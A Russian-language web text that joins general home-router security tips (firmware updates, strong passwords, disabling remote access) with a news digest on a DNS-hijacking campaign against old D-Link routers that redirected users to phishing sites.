Обновление прошивки помогает защитить вашу сеть от новых методов атак и потенциальных рисков безопасности. Оно может предоставить новые функции и возможности, а также улучшить производительность вашего роутера.

Для обновления прошивки роутера вы должны посетить официальный веб-сайт производителя и загрузить последнюю версию прошивки для вашей модели роутера. Затем следуйте инструкциям, предоставленным производителем, чтобы обновить прошивку вашего роутера.

Важно помнить, что при обновлении прошивки роутера могут быть потеряны настройки, поэтому перед обновлением создайте резервные копии настроек вашего роутера.

Регулярное обновление прошивки роутера — это одна из важных мер, которые вы можете принять для обеспечения безопасности вашей сети и защиты от возможных атак.

Использование сильного пароля

1. Используйте комбинацию букв в верхнем и нижнем регистре, цифр и специальных символов. Не используйте очевидные комбинации, такие как «123456» или «password».

2. Создайте длинный пароль, состоящий не менее чем из 8 символов. Чем длиннее пароль, тем сложнее его взломать.

3. Не используйте персональную информацию в пароле, такую как ваше имя, дата рождения или адрес.

4. Избегайте использования одного и того же пароля для разных устройств или онлайн-сервисов. Если кто-то получит доступ к вашему паролю, они смогут взломать все ваши системы.

5. Регулярно меняйте пароль на роутере. Это поможет предотвратить возможные атаки и сохранить вашу сеть в безопасности.

Помните, что сильный пароль — это первый шаг в обеспечении безопасности вашей сети. Обязательно также обновляйте прошивку роутера и следите за безопасностью своих других устройств.

Проверка наличия скрытых уязвимостей

Для того чтобы обезопасить свою сеть, очень важно проверить наличие скрытых уязвимостей в роутере TP-Link 8151. Это поможет предотвратить взлом и атаки на вашу домашнюю сеть.

Существует несколько способов проверить наличие скрытых уязвимостей:

1. Прошивка: Убедитесь, что на вашем роутере установлена последняя версия прошивки. Производитель регулярно выпускает обновления, которые исправляют известные уязвимости. Перейдите на официальный сайт TP-Link и проверьте наличие обновлений для вашей модели роутера.
2. Пароли: Используйте сложные и надежные пароли для доступа к роутеру и Wi-Fi сети. Хороший пароль должен содержать как буквы, так и цифры, а также символы верхнего и нижнего регистра. Избегайте использования очевидных паролей, таких как «admin» или «password».
3. Отключение ненужных функций: Используйте только необходимые функции роутера и отключите все ненужные сервисы и протоколы. Например, если у вас нет нужды в удаленном доступе к роутеру, лучше отключить эту функцию. Также может быть полезным отключить UPnP, который может представлять угрозу безопасности.
4. Сканирование портов: Используйте специализированные инструменты или сервисы для сканирования открытых портов на вашем роутере. Это поможет выявить открытые уязвимые порты, которые могут быть использованы злоумышленниками для атаки.

Правильная проверка и обеспечение безопасности роутера TP-Link 8151 поможет защитить вашу домашнюю сеть от возможных атак и взломов. Не забывайте также регулярно обновлять прошивку роутера и следить за новостями от производителя для получения актуальной информации о возможных уязвимостях и способах их устранения.

Время на прочтение
4 мин

Количество просмотров 8.2K

К теме уязвимости в сетевых роутерах мы обращаемся далеко не первый раз, но исследования группы Bad Packets и компании Ixia (новость, отчет Bad Packets, отчет Ixia) интересны тем, что представляют почти полную картину: как ломают роутеры, какие настройки меняют, и что потом происходит.

Подобные атаки не имеют каких-то технически сложных элементов, да и цель у злоумышленников простая — заработать денег на рекламе и, если получится, украсть пароли доступа к банковским системам и платным интернет-сервисам. Если коротко: атакующие сканировали сеть для поиска уязвимых роутеров (в основном — неновых моделей производства D-Link). Обнаружив такой роутер, они меняли в нем записи DNS, перенаправляя трафик на собственные серверы. Уязвимости при этом использовались тривиальные, доступ к настройкам у непропатченных устройств происходил без авторизации. Самым старым устройствам в списке целей больше 10 лет, но несмотря на это, теоретически киберпреступники могли атаковать больше 15 тысяч жертв.

Специалисты Bad Packets зафиксировали три атаки с общими признаками в конце декабря прошлого года, а также в феврале и конце марта 2019-го. Во всех случаях для первого этапа атаки использовался сервис Google Cloud Platform: создавался виртуальный сервер, который производил «обзвон» сетевых устройств.

Сканирование было направлено на поиск устройств с известными уязвимостями, в основном это были не самые современные роутеры производства D-Link. Позднее с помощью сервиса BinaryEdge, собирающего информацию о параметрах сетевых устройств, удалось прикинуть, сколько устройств в принципе было уязвимо для такой атаки. Из десятка моделей, которые точно атаковались в ходе этой кампании, только для одной было зафиксировано несколько тысяч «попаданий».

Это ADSL-роутер D-Link DSL-2640B. Стомегабитный Ethernet, поддержка WiFi 802.11g — в целом неплохо для модели, которая была доступна начиная с 2007 года. Прочие модели (например, D-Link 2740R, 526B и другие, всего около десятка версий) если и приносили выгоду злоумышленникам, то в небольшом масштабе — таких устройств в сети доступно всего несколько сотен.

У модели 2640B в 2012 году была обнаружена традиционная для сетевых устройств уязвимость: если залогиненного в веб-интерфейсе роутера пользователя заставить нажать на подготовленную ссылку, можно получить контроль над устройством. А в 2017 году в том же роутере была обнаружена более серьезная проблема: выяснилось, что подменить записи DNS-серверов можно без авторизации. Естественно, в том случае, если веб-интерфейс роутера доступен снаружи, чего в нормальных условиях происходить не должно.

Последствия подмены DNS-серверов очевидны: у злоумышленников появляется возможность подменять рекламные баннеры своими, показывать пользователям фальшивые сайты по «правильному» адресу, атаковать непосредственно компьютеры, подключенные к роутеру с использованием вредоносного ПО.

Что именно происходит с атакованным роутером, выяснили в компании Ixia. Сделано это было так: на тестовой системе в качестве DNS-сервера устанавливался сервер злоумышленников, затем прогонялся список из 10 тысяч доменных имен самых популярных сайтов (по версии сервиса Alexa). Нужно было выяснить, для каких доменов поддельный DNS-сервер пытается увести жертв на собственные версии сайтов. Подмена сайтов была зафиксирована для четырех глобальных сервисов: Paypal, GMail, Uber и Netflix. Другие домены (всего больше десяти) представляли собой локальные сервисы банков и сетевых провайдеров в Бразилии.

Копия банковского сервиса выглядит достоверно, на подделку указывает только отсутствие соединения по HTTPS. Часть редиректов злоумышленники, видимо, не успели должным образом подготовить: вместо сайта cetelem.com, например, показывалась стандартная заглушка веб-сервера Apache. В случае конкретной атаки в марте этого года и поддельные веб-сайты, и сам DNS-сервер также хостились на облачной платформе Google. В ответ на запрос сайта Arstechnica в Google сообщили, что вредоносные сервисы заблокированы и приняты меры по автоматическому блокированию таких операций в будущем. Впрочем, дело тут не в Google: другие волны атаки использовали серверы в Канаде и России.

В общем, в данном конкретном случае речь не идет о масштабной атаке. Поражаются устройства, которым много лет, с достаточно давно известными уязвимостями, и которые по каким-то причинам (ошибочная конфигурация, небезопасные дефолтные настройки) в принципе позволяют открывать веб-интерфейс при доступе из интернета, а не только из локальной сети. В данном случае уже вряд ли стоит надеяться на патч для древней прошивки, проще сделать апгрейд. Почему злоумышленники атакуют даже такие относительно немногочисленные виды устройств? Это достаточно просто и выгодно.

Масштабные атаки с подменой DNS фиксируются последние десять лет, были и более креативные методы, например атака на роутеры с помощью вредоносного приложения, после подключения к Wi-Fi. Дальше масса способов нечестного отъема денег: фишинг с последующей перепродажей паролей на черном рынке (в последнее время ходовым товаром стали оплаченные учетные записи сервисов для стриминга музыки и видео), прямая кража средств через банковские и платежные службы, распространение вредоносного ПО. В той же Бразилии подобные атаки приняли характер эпидемии, счет идет на сотни тысяч атакованных устройств. Так что сегодня перед нами достаточно хорошо документированный, но небольшой эпизод бурной деятельности киберкриминала.

Disclaimer: Мнения, изложенные в этом дайджесте, могут не всегда совпадать с официальной позицией «Лаборатории Касперского». Дорогая редакция вообще рекомендует относиться к любым мнениям со здоровым скептицизмом.